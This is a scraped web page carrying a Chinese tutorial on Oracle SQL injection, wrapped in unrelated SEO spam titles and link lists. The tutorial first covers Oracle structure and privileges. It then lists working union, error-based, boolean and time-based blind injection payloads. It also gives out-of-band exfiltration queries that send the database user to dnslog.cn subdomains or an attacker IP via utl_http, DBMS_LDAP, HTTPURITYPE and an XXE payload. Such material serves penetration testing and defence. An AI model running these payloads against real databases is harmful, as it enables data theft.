当前位置: 首页 > news >正文

襄阳市作风建设年 网站办公室设计效果图大全

襄阳市作风建设年 网站,办公室设计效果图大全,python做网站缺点,跑纸活做网站文章目录 一、Oracle数据库介绍二、Oracle和MySQL的语法差异#xff1a;三、Oracle的数据库结构四、Oracle的重点系统表五、Oracle权限分类1、系统权限2、实体权限3、管理角色 六、oracle常用信息查询方法七、联合查询注入1、order by 猜字段数量2、查数据库版本和用户名3、查… 文章目录 一、Oracle数据库介绍二、Oracle和MySQL的语法差异三、Oracle的数据库结构四、Oracle的重点系统表五、Oracle权限分类1、系统权限2、实体权限3、管理角色 六、oracle常用信息查询方法七、联合查询注入1、order by 猜字段数量2、查数据库版本和用户名3、查当前数据库4、查表5、查字段 八、报错注入九、盲注1、布尔盲注2、时间盲注 十、带外OOB1、需要出外网HTTP2、dns解析带外3、SYS.DBMS_LDAP.INIT4、HTTPURITYPE5、Oracle XXE (CVE-2014-6577) 一、Oracle数据库介绍 Oracle数据库系统是世界上流行的关系数据库管理系统系统可移植性好、使用方便、功能强适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。 Oracle服务默认端口1521 Oracle和MySQL数据库语法大致相同结构不太相同。最大的一个特点就是oracle可以调用Java代码。 Oracle要求select … from 后必须要有查询的表名 二、Oracle和MySQL的语法差异 Oracle要求select后必须指明要查询的表名可以用dual。 Oracle使用 || 拼接字符串MySQL中为或运算。 单引号和双引号在Oracle中虽然都是字符串但是双引号可以用来消除关键字比如sysdate。 Oracle中limit应该使用虚表中的rownum字段通过where条件判断。 Oracle中没有空字符‘和’null’都是null而MySQL中认为’仍然是一个字符串。 Oracle对数据格式要求严格比如union select的时候 三、Oracle的数据库结构 对于“数据库”这个概念而言Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的这些数据文件和相关文件形成一个完整的数据库。 当数据库创建时Oracle 会默认创建五个库SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP SYSTEM这个用于是存储系统表和管理配置等基本信息SYSAUX类似于 SYSTEM主要存放一些系统附加信息以便减轻 SYSTEM 的空间负担UNDOTBS用于事务回退等TEMP作为缓存空间减少内存负担USERS就是存储我们定义的表和数据 在Oracle中每个库中均存在一张dual表这个表是虚表并没有实际的存储意义它永远只存储一条数据因为Oracle的SQL语法要求select后必须跟上from所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位。举例select 11 from dual。 Oracle要求select后必须指明要查询的表名可以用dual。 四、Oracle的重点系统表 – dba_tables : 系统里所有的表的信息需要DBA权限才能查询– all_tables : 当前用户有权限的表的信息– user_tables: 当前用户名下的表的信息– DBA_ALL_TABLESDBA 用户所拥有的或有访问权限的对象和表– ALL_ALL_TABLES某一用户拥有的或有访问权限的对象和表– USER_ALL_TABLES某一用户所拥有的对象和表 五、Oracle权限分类 在Oracle中根据系统管理方式不同将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。 系统权限系统规定用户使用数据库的权限。系统权限是对用户而言)。 实体权限某种权限用户对其它用户的表或视图的存取权限。是针对表或视图而言的。 1、系统权限 DBA拥有全部特权是系统最高权限只有DBA才可以创建数据库结构。RESOURCE拥有Resource权限的用户只可以创建实体不可以创建数据库结构。CONNECT拥有Connect权限的用户只可以登录Oracle不可以创建实体不可以创建数据库结构。 对于普通用户授予connect, resource权限。 对于DBA管理用户授予connectresource, dba权限。 系统权限授权命令 系统权限只能由DBA用户授出sys, system(最开始只能是这两个用户) 授权命令 SQL grant connect, resource, dba to 用户名1 [,用户名2]…; 注:普通用户通过授权可以具有与system相同的用户权限但永远不能达到与sys用户相同的权限system用户的权限也可以被回收。 例 SQL connect system/manager SQL Create user user50 identified by user50; SQL grant connect, resource to user50;查询用户拥有哪里权限 SQL select from dba_role_privs; SQL select from dba_sys_privs; SQL select * from role_sys_privs;查自己拥有哪些系统权限 SQL select * from session_privs;删除用户 SQL drop user 用户名 cascade; //加上cascade则将用户连同其创建的东西全部删除系统权限传递增加WITH ADMIN OPTION选项则得到的权限可以传递。 SQL grant connect, resorce to user50 with admin option; //可以传递所获权限。系统权限回收系统权限只能由DBA用户回收 SQL Revoke connect, resource from user50;说明 1如果使用WITH ADMIN OPTION为某个用户授予系统权限那么对于被这个用户授予相同权限的所有用户来说取消该用户的系统权限并不会级联取消这些用户的相同权限。 2系统权限无级联即A授予B权限B授予C权限如果A收回B的权限C的权限不受影响系统权限可以跨用户回收即A可以直接收回C用户的权限。2、实体权限 select, update, insert, alter, index, delete, all #all包括所有权限execute #执行存储过程权限 user01: SQL grant select, update, insert on product to user02; SQL grant all on product to user02;user02: SQL select * from user01.product; // 此时user02查user_tables不包括user01.product这个表但如果查all_tables则可以查到因为他可以访问。将表的操作权限授予全体用户 SQL grant all on product to public; // public表示是所有的用户这里的all权限不包括drop。实体权限数据字典 SQL select owner, table_name from all_tables; // 用户可以查询的表 SQL select table_name from user_tables; // 用户创建的表 SQL select grantor, table_schema, table_name, privilege from all_tab_privs; // 获权可以存取的表被授权的 SQL select grantee, owner, table_name, privilege from user_tab_privs; // 授出权限的表(授出的权限)DBA用户可以操作全体用户的任意基表(无需授权包括删除)DBA用户 SQL Create table stud02.product( id number(10), name varchar2(20)); SQL drop table stud02.emp;SQL create table stud02.employee as select * from scott.emp;实体权限传递(with grant option) user01: SQL grant select, update on product to user02 with grant option; // user02得到权限并可以传递。实体权限回收 user01: SQLRevoke select, update on product from user02; //传递的权限将全部丢失。说明: 如果取消某个用户的对象权限那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说同样还会取消这些用户的相同权限也就是说取消授权时级联的。3、管理角色 建一个角色 sqlcreate role role1;授权给角色 sqlgrant create any table,create procedure to role1;授予角色给用户 sqlgrant role1 to user1;查看角色所包含的权限 sqlselect * from role_sys_privs;创建带有口令以角色(在生效带有口令的角色时必须提供口令) sqlcreate role role1 identified by password1;修改角色是否需要口令 sqlalter role role1 not identified; sqlalter role role1 identified by password1;设置当前用户要生效的角色 (注角色的生效是一个什么概念呢假设用户a有b1,b2,b3三个角色 那么如果b1未生效则b1所包含的权限对于a来讲是不拥有的 只有角色生效了角色内的权限才作用于用户 最大可生效角色数由参数MAX_ENABLED_ROLES设定 在用户登录后oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。 sqlset role role1; //使role1生效 sqlset role role,role2; //使role1,role2生效 sqlset role role1 identified by password1; //使用带有口令的role1生效 sqlset role all; //使用该用户的所有角色生效 sqlset role none; //设置所有角色失效 sqlset role all except role1; //除role1外的该用户的所有其它角色生效。 sqlselect * from SESSION_ROLES; //查看当前用户的生效的角色。修改指定用户设置其默认角色 sqlalter user user1 default role role1; sqlalter user user1 default role all except role1;删除角色 sqldrop role role1;角色删除后原来拥用该角色的用户就不再拥有该角色了相应的权限也就没有了。说明: 1)无法使用WITH GRANT OPTION为角色授予对象权限 2)可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联六、oracle常用信息查询方法 1、获取数据库版本信息 SELECT banner FROM v$version WHERE banner LIKE Oracle%25;2、获取操作系统版本信息 SELECT banner FROM v$version WHERE banner LIKE TNS%25;3、获取当前数据库 SELECT name FROM v$database;4、获取数据库用户 SELECT user FROM dual;5、获取所有数据库用户 SELECT username FROM all_users; SELECT name FROM sys.user$; -- 需要高权限6、获取当前用户权限 SELECT * FROM session_privs;7、获取当前用户有权限的所有数据库 SELECT DISTINCT owner, table_name FROM all_tables;8、获取表all_tables类似于MySQL中的information_schema.tables SELECT * FROM all_tables;9、获取字段名 SELECT column_name FROM all_tab_columns;10、在Oracle启动时在 userenv 中存储了一些系统上下文信息通过 SYS_CONTEXT 函数我们可以取回相应的参数值。包括当前用户名等等。 SELECT SYS_CONTEXTUSERENVSESSION_USER from dual;七、联合查询注入 1、order by 猜字段数量 union select进行查询需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位然后逐位判断每个字段的类型举例 ?usernameadmin union select null,null,null from dual -- 正常 ?usernameadmin union select 1,null,null from dual -- 正常说明第一个字段是数字型 ?usernameadmin union select 1,2,null from dual -- 第二个字段为数字时错误 ?usernameadmin union select 1,asd,null from dual -- 正常就为字符串 依此类推2、查数据库版本和用户名 ?usernameadmin union select 1,(select user from dual),(SELECT banner FROM v$version where banner like Oracle%25) from dual --3、查当前数据库 ?usernameadmin union select 1,(SELECT global_name FROM global_name),null from dual --4、查表 wmsys.wm_concat()等同于MySQL中的group_concat()在11gr2和12C上已经抛弃可以用LISTAGG()替代 但是LISTAGG()返回的是varchar类型如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。 ?usernameadmin union select 1,(select LISTAGG(table_name,,)within group(order by owner)name from all_tables where ownerSYSTEM),null from dual --5、查字段 ?usernameadmin union select 1,(select column_name from all_tab_columns where table_nameTEST and rownum2),null from dual --八、报错注入 报错注入常用函数 1、utl_inaddr.get_host_name select utl_inaddr.get_host_name((select user from dual)) from dual;11g之后使用此函数的数据库用户需要有访问网络的权限 2、ctxsys.drithsx.sn select ctxsys.drithsx.sn(1, (select user from dual)) from dual;处理文本的函数参数错误时会报错。 3、CTXSYS.CTX_REPORT.TOKEN_TYPE select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), 123) from dual;4、XMLType ?usernameadmin and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --注意url编码如果返回的数据有空格的话它会自动截断导致数据不完整这种情况下先转为 hex再导出。 5、dbms_xdb_version.checkin select dbms_xdb_version.checkin((select user from dual)) from dual;6、dbms_xdb_version.makeversioned select dbms_xdb_version.makeversioned((select user from dual)) from dual;7、dbms_xdb_version.uncheckout select dbms_xdb_version.uncheckout((select user from dual)) from dual;8、dbms_utility.sqlid_to_sqlhash SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;9、ordsys.ord_dicom.getmappingxpath select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;10、UTL_INADDR.get_host_name select UTL_INADDR.get_host_name((select user from dual)) from dual;11、UTL_INADDR.get_host_address select UTL_INADDR.get_host_name(~||(select user from dual)||~) from dual;九、盲注 1、布尔盲注 使用简单的字符串比较来进行比如 ?usernameadmin and (select substr(user, 1, 1) from dual)S --通过decode配合除数为0来进行布尔盲注比如 ?usernameadmin and 1(select decode(substr(user, 1, 1), S, (1/1),0) from dual) --2、时间盲注 时间延迟函数DBMS_PIPE.RECEIVE_MESSAGE()函数 dbms_pipe.receive_message(‘RDS’, 10) #将为从RDS管道返回的数据等待10秒。 select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE(asd, REPLACE((SELECT substr(user, 1, 1) FROM dual), S, 10))1;还可以配合decode select decode(substr(user,1,1),S,dbms_pipe.receive_message(RDS,10),0) from dual;十、带外OOB 类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限有限制。 1、需要出外网HTTP 使用函数utl_http.request() select utl_http.request(http://localhost:8080/index?username || (select user from dual)) from dual;2、dns解析带外 使用函数utl_inaddr.get_host_address select utl_inaddr.get_host_address((select user from dual)||.cbb1ya.dnslog.cn) from dual;3、SYS.DBMS_LDAP.INIT SELECT DBMS_LDAP.INIT((select user from dual)||.24wypw.dnslog.cn,80) FROM DUAL;这个函数在 10g/11g 中是 public 权限 4、HTTPURITYPE SELECT HTTPURITYPE((select user from dual)||.24wypw.dnslog.cn).GETCLOB() FROM DUAL;5、Oracle XXE (CVE-2014-6577) 说是xxe实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp http select 1 from dual where 1(select extractvalue(xmltype(?xml version1.0 encodingUTF-8?!DOCTYPE root [ !ENTITY % remote SYSTEM http://192.168.124.1/||(SELECT user from dual)|| %remote;]),/l) from dual); ftp select extractvalue(xmltype(?xml version1.0 encodingUTF-8?!DOCTYPE root [ !ENTITY % remote SYSTEM ftp://||user||:barIP/test %remote; %param1;]),/l) from dual;
http://www.pierceye.com/news/843330/

相关文章:

  • 企业网站制作公司盈利做支付行业招代理一般上什么网站
  • 网站制作电话wordpress支持PHP吗
  • 天津网站推广宣传拓者设计吧室内设计
  • 建设 信用中国 网站淘宝购物
  • 义乌论坛网站建设怎样建设智能网站
  • 重庆做网站 外包公司建设校园网站的必要性
  • 做我女朋友好不好套路网站html5网页设计实训总结
  • 怎样给网站登录界面做后台seo研究中心官网
  • 养生类网站源码dreamwear网页制作
  • 北京装修平台网站网页设计公司企业文化
  • 上海临平路网站建设网站建设设计制作方案与价格
  • seo三人行网站免费电商网站建设
  • seo蒙牛伊利企业网站专业性诊断.win域名做网站怎么样
  • 微信、网站提成方案点做网站建设当中的技术解决方案
  • 云南省住房和城乡建设厅官方网站网站哪里可以查到做ddos
  • 爱情动做网站推荐个人养老保险金怎么交
  • 淘客怎么做自己的网站演示动画制作免费网站
  • 哪个网站可以搭建网页百度指数官网入口
  • 济南网站开发设计wordpress. 外贸seo
  • 深圳网站建设优化织梦 蝉知 wordpress
  • 荥阳郑州网站建设wordpress oauth2插件
  • 做传媒网站公司简介企业手机网站源码
  • 一级A做爰片安全网站济南营销型网站制作
  • 网站规划说明书范文17素材网官网
  • 青岛做网站大公司免费的行情网站app网页推荐
  • 产品网站建设多少钱哪些网站做推广效果好
  • 网站开发所需技能外链网
  • 广州做家教的网站临沂哪里有做网站
  • 网站建设介绍会发言稿网站开发主页
  • 做推广赚钱的网站如何制作网站策划书